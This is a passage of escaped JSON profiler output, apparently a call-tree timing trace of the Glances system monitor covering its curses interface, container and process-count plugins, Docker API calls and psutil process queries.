[]}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100518,\"attributes\": {\"cGlancesCursesStandalone\": 0.10051841200038325, \"l1202\": 0.10051841200038325},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100518,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100518,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"__catch_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000289\",\"time\": 0.100476,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047619400575059, \"l291\": 0.10047619400575059},\"children\": [{\"identifier\": \"get_key\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000259\",\"time\": 0.100476,\"attributes\": {\"cGlancesCursesStandalone\": 0.10047619400575059, \"l260\": 0.10047619400575059},\"children\": [{\"identifier\": \"window.getch\\u0000<built-in>\\u00000\",\"time\": 0.100476,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100476,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wait\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001200\",\"time\": 0.100434,\"attributes\": {\"cGlancesCursesStandalone\": 0.10043393199885031, \"l1202\": 0.10043393199885031},\"children\": [{\"identifier\": \"napms\\u0000<built-in>\\u00000\",\"time\": 0.100434,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100434,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.101785,\"attributes\": {\"cGlancesStats\": 0.10178525599621935, \"l287\": 0.10178525599621935},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.101785,\"attributes\": {\"cGlancesStats\": 0.10178525599621935, \"l575\": 0.10178525599621935},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.101785,\"attributes\": {\"l571\": 0.10178525599621935},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.101785,\"attributes\": {\"cGlancesStats\": 0.10178525599621935, \"l275\": 0.015472424987819977, \"l274\": 0.08631283100839937},\"children\": [{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000179\",\"time\": 0.001696,\"attributes\": {\"cDiskioPlugin\": 0.0016964639944490045, \"l194\": 0.0016964639944490045},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001696,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.060002,\"attributes\": {\"cContainersPlugin\": 0.0020067430014023557, \"l1278\": 0.05799908100016182, \"cProcesscountPlugin\": 0.05799491500511067, \"l1280\": 0.0020025770063512027},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.057999,\"attributes\": {\"l1295\": 0.05799908100016182},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002007,\"attributes\": {\"cContainersPlugin\": 0.0020067430014023557, \"l252\": 0.0020067430014023557},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002007,\"attributes\": {\"l256\": 0.0020067430014023557},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002007,\"attributes\": {\"l248\": 0.0020067430014023557},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002007,\"attributes\": {\"cDockerExtension\": 0.0020067430014023557, \"l260\": 0.0020067430014023557},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002007,\"attributes\": {\"cContainerCollection\": 0.0020067430014023557, \"l1009\": 0.0020067430014023557},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l212\": 0.0020067430014023557},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l44\": 0.0020067430014023557},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l246\": 0.0020067430014023557},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l602\": 0.0020067430014023557},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l589\": 0.0020067430014023557},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002007,\"attributes\": {\"cAPIClient\": 0.0020067430014023557, \"l703\": 0.0020067430014023557},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002007,\"attributes\": {\"cUnixHTTPAdapter\": 0.0020067430014023557, \"l644\": 0.0020067430014023557},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002007,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0020067430014023557, \"l787\": 0.0020067430014023557},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002007,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0020067430014023557, \"l534\": 0.0020067430014023557},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002007,\"attributes\": {\"cUnixHTTPConnection\": 0.0020067430014023557, \"l571\": 0.0020067430014023557},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002007,\"attributes\": {\"cUnixHTTPConnection\": 0.0020067430014023557, \"l1430\": 0.0020067430014023557},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002007,\"attributes\": {\"cHTTPResponse\": 0.0020067430014023557, \"l350\": 0.0020067430014023557},\"children\": [{\"identifier\": \"parse_headers\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000245\",\"time\": 0.002007,\"attributes\": {\"l249\": 0.0020067430014023557},\"children\": [{\"identifier\": \"_parse_header_lines\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000231\",\"time\": 0.002007,\"attributes\": {\"l243\": 0.0020067430014023557},\"children\": [{\"identifier\": \"parsestr\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000056\",\"time\": 0.002007,\"attributes\": {\"cParser\": 0.0020067430014023557, \"l64\": 0.0020067430014023557},\"children\": [{\"identifier\": \"parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/parser.py\\u000041\",\"time\": 0.002007,\"attributes\": {\"cParser\": 0.0020067430014023557, \"l53\": 0.0020067430014023557},\"children\": [{\"identifier\": \"feed\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000173\",\"time\": 0.002007,\"attributes\": {\"cFeedParser\": 0.0020067430014023557, \"l176\": 0.0020067430014023557},\"children\": [{\"identifier\": \"_call_parse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000178\",\"time\": 0.002007,\"attributes\": {\"cFeedParser\": 0.0020067430014023557, \"l180\": 0.0020067430014023557},\"children\": [{\"identifier\": \"_parsegen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/email/feedparser.py\\u0000218\",\"time\": 0.002007,\"attributes\": {\"cFeedParser\": 0.0020067430014023557, \"l228\": 0.0020067430014023557},\"children\": [{\"identifier\": \"Pattern.match\\u0000<built-in>\\u00000\",\"time\": 0.002007,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002007,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.055992,\"attributes\": {\"cProcesscountPlugin\": 0.05599233799875947, \"l85\": 0.05599233799875947},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.055992,\"attributes\": {\"cGlancesProcesses\": 0.05599233799875947, \"l617\": 0.051992421998875216, \"l634\": 0.002000274005695246, \"l659\": 0.0019996419941890053},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.051992,\"attributes\": {\"cGlancesProcesses\": 0.051992421998875216, \"l478\": 0.043993202001729514, \"l493\": 0.007999219997145701},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.006060,\"attributes\": {\"l1558\": 0.006060477004211862},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.006060,\"attributes\": {\"cProcess\": 0.006060477004211862, \"l579\": 0.006060477004211862},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001994,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998869975097477, \"l1079\": 0.0019998869975097477},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019998869975097477, \"l1593\": 0.0019998869975097477},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002067,\"attributes\": {\"cProcess\": 0.0020666820055339485, \"l836\": 0.0020666820055339485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002067,\"attributes\": {\"cProcess\": 0.0020666820055339485, \"l1593\": 0.0020666820055339485},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002067,\"attributes\": {\"cProcess\": 0.0020666820055339485, \"l1796\": 0.0020666820055339485},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002067,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002008,\"attributes\": {},\"children\": []},{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.035925,\"attributes\": {\"l1558\": 0.03592467999988003},\"children\": [{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.035925,\"attributes\": {\"cProcess\": 0.03592467999988003, \"l579\": 0.03392846699716756, \"l572\": 0.001996213002712466},\"children\": [{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020018349969177507, \"l1064\": 0.0020018349969177507},\"children\": [{\"identifier\": \"cpu_count\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001667\",\"time\": 0.002002,\"attributes\": {\"l1682\": 0.0020018349969177507},\"children\": [{\"identifier\": \"cpu_count_logical\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000535\",\"time\": 0.002002,\"attributes\": {\"l538\": 0.0020018349969177507},\"children\": [{\"identifier\": \"sysconf\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001996,\"attributes\": {\"c_GeneratorContextManager\": 0.001996213002712466, \"l148\": 0.001996213002712466},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.001996213002712466, \"l543\": 0.001996213002712466},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l680\": 0.002017115999478847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l1593\": 0.002017115999478847},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l1740\": 0.002017115999478847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l1593\": 0.002017115999478847},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l382\": 0.002017115999478847},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002017,\"attributes\": {\"cProcess\": 0.002017115999478847, \"l1683\": 0.002017115999478847},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002017,\"attributes\": {\"l730\": 0.002017115999478847},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002017,\"attributes\": {\"l718\": 0.002017115999478847},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002017,\"attributes\": {\"l682\": 0.002017115999478847},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002017,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002017,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"nice\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000791\",\"time\": 0.001987,\"attributes\": {\"cProcess\": 0.001987469004234299, \"l794\": 0.001987469004234299},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001987,\"attributes\": {\"cProcess\": 0.001987469004234299, \"l1593\": 0.001987469004234299},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001987,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001922,\"attributes\": {\"cProcess\": 0.001922167997690849, \"l382\": 0.001922167997690849},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001922,\"attributes\": {\"cProcess\": 0.001922167997690849, \"l1138\": 0.001922167997690849},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001922,\"attributes\": {\"cProcess\": 0.001922167997690849, \"l1593\": 0.001922167997690849},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001922,\"attributes\": {\"cProcess\": 0.001922167997690849, \"l1879\": 0.001922167997690849},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001879\",\"time\": 0.001922,\"attributes\": {\"l1880\": 0.001922167997690849},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001922,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001711996854283, \"l687\": 0.002001711996854283},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001711996854283, \"l748\": 0.002001711996854283},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001711996854283, \"l1593\": 0.002001711996854283},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.002001711996854283, \"l1750\": 0.002001711996854283},\"children\": [{\"identifier\": \"open_text\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000685\",\"time\": 0.002002,\"attributes\": {\"l708\": 0.002001711996854283},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002660021418706, \"l382\": 0.0020002660021418706},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002660021418706, \"l1138\": 0.0020002660021418706},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002660021418706, \"l1593\": 0.0020002660021418706},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020002660021418706, \"l1878\": 0.0020002660021418706},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.0020002660021418706},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l939\": 0.0019983960009994917},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l1593\": 0.0019983960009994917},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l2052\": 0.0019983960009994917},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l1593\": 0.0019983960009994917},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l382\": 0.0019983960009994917},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983960009994917, \"l1718\": 0.0019983960009994917},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.0019983960009994917},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"status\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000750\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l753\": 0.0019996560004074126},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996560004074126, \"l1593\": 0.0019996560004074126},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019570001750253, \"l836\": 0.0020019570001750253},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019570001750253, \"l1593\": 0.0020019570001750253},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019570001750253, \"l1796\": 0.0020019570001750253},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020019570001750253},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998389001528267, \"l939\": 0.001998389001528267},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998389001528267, \"l1593\": 0.001998389001528267},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.001998389001528267, \"l2053\": 0.001998389001528267},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008159990538843, \"l812\": 0.0020008159990538843},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008159990538843, \"l1593\": 0.0020008159990538843},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.0020008159990538843, \"l2268\": 0.0020008159990538843},\"children\": [{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l680\": 0.004000474000349641},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l1593\": 0.004000474000349641},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l1740\": 0.004000474000349641},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l1593\": 0.004000474000349641},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l382\": 0.004000474000349641},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004000,\"attributes\": {\"cProcess\": 0.004000474000349641, \"l1683\": 0.004000474000349641},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004000,\"attributes\": {\"l730\": 0.004000474000349641},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004000,\"attributes\": {\"l719\": 0.002001105996896513, \"l718\": 